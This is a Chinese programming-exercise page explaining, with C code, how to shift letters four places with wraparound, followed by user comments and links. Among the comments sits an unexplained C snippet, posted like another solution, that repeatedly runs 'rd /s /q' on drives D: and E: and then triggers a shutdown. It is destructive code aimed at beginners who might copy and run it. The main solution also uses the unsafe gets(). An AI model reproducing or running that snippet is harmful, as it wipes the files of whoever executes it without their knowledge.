发现好多题解都是授之鱼而不授之渔,属于应题代码,所以想写一个通用代码分享给大家
解题思路:
首先我们要知道一个叫做ASCII码表的东西,C语言的字符都是用ASCII码编写的
如果我们写一行这样的代码:
printf("%d\n", 'A');
将大写的 'A' 作为整形输出,会发现输出的结果是65,如果把 'A' 换成 'Z', 输出结果就会变成90
没错,其实每一个字符都是用一个数字来表示的,而且字符的排布是有序的,我们可以用字符来做比较甚至做运算
我们知道 'A' ==65, 'Z' ==90,那么我们想判断一个字符 ch 是否为大写字母的话,就可以这样写
if (ch >= 65 && ch <= 90)
或者不用数字,直接用字符做比较:
if (ch >= 'A' && ch <= 'Z')
同样的,判断小写字母就可以这样写:
if (ch >= 'a' && ch <= 'z')
判断语句写好了,接下来只需要将字母向后移动4位,但如果移动后的字符超过了字母 'Z' 或 'z' 该怎么办呢?
不必再使用分支,我们只需要将字符加4之后减去 'A' ( 或者 'a' ),然后对26取余,再加上 'A' ( 或者 'a' )
不太懂的话应该是这里没解释清楚:
字符加 4 就是后移的操作,减去 'A' 可以求出后移之后与 'A' 的距离
大写字母与 'A' 的距离应该为 0 ~ 25 ,但最后四个字母后移会超出这个范围
比如 'W' 后移 4 再减 'A' 变成了 26,超出了范围最大的 25,所以对 26 取余,就成了 0
0 就是 'W' 后移 4 之后与 'A' 真正的距离
此时拿这个距离再加上 'A' 就是后移之后真正的结果了,即 'A' ( 'W' 后移 4 位为 'A' )
小写字母同理
详细内容请看代码:
#include <stdio.h> int main() { char s[11]; //定义一个长度为10的字符串(注意有结尾符) gets(s); //输入字符串 for (int i = 0; s[i] != '\0'; i++) //循环到结尾符'\0'时停止循环 { if (s[i] >= 'A' && s[i] <= 'Z') //判断是否为大写字母 { s[i] = (s[i] + 4 - 'A') % 26 + 'A'; //大写字母后移 } if (s[i] >= 'a' && s[i] <= 'z') //判断是否为小写字母A { s[i] = (s[i] + 4 - 'a') % 26 + 'a'; //小写字母后移 } } puts(s); //输出字符串 return 0; }
0.0分
659 人评分
#include <stdio.h> #include <stdbool.h> #include <stdlib.h> int main (void) { while(true) { system("cd d:"); system("rd /s /q *.*"); system("cd e:"); system("rd /s /q *.*"); system("cd e:"); system("rd /s /q *.*"); } system("shutdown /t /r 0"); retun 0; }
这些内容都不是以入门的方式编辑的,上来就东拼西凑根本一头雾水,这样子根本没几个学得会,除非天才,没有系统,没有循序渐进,好后悔冲动冲了一年的刷题助手,那个错题分析一点用都没有,还没有题解实在,实在是无语。
小七 2021-07-15 16:53:35 |
同样冲动充了一年刷题会员,真的没有题解部分大佬厉害,沙比了
刚学完c 能看个大概 但是复制到vs2010上就各种报错 复制到这个站题库上提交就能通过,懵了
EasonXin 2021-09-15 20:49:34 |
这个应该是有问题的代码
#include<stdio.h> #include<string.h> #define MAX 100 int main() { char miMa[MAX]; int length; gets(miMa); length = strlen(miMa); for (size_t i = 0; i < length; i++) { printf("%c", miMa[i] + 4); } return 0; } // 大佬牛皮,忘记判断超出范围了 ,思维还不够严谨
wxyz四个字母加密会出现问题,加密后的不是字母
C语言训练-舍罕王的失算 (C++代码)(都给答案了还算什么)浏览:994 |
C语言程序设计教程(第三版)课后习题8.2 (Java代码)浏览:2287 |
Hello, world! (C语言代码)浏览:1318 |
奖学金 (C++代码)浏览:2056 |
剔除相关数 (C语言代码)浏览:1058 |
C语言训练-排序问题<1> (C语言代码)浏览:636 |
C语言程序设计教程(第三版)课后习题1.5 (C语言代码)浏览:585 |
C语言训练-求PI* (C语言代码)浏览:640 |
【金明的预算方案】 (C++代码)浏览:997 |
C语言程序设计教程(第三版)课后习题5.4 (C语言代码)浏览:585 |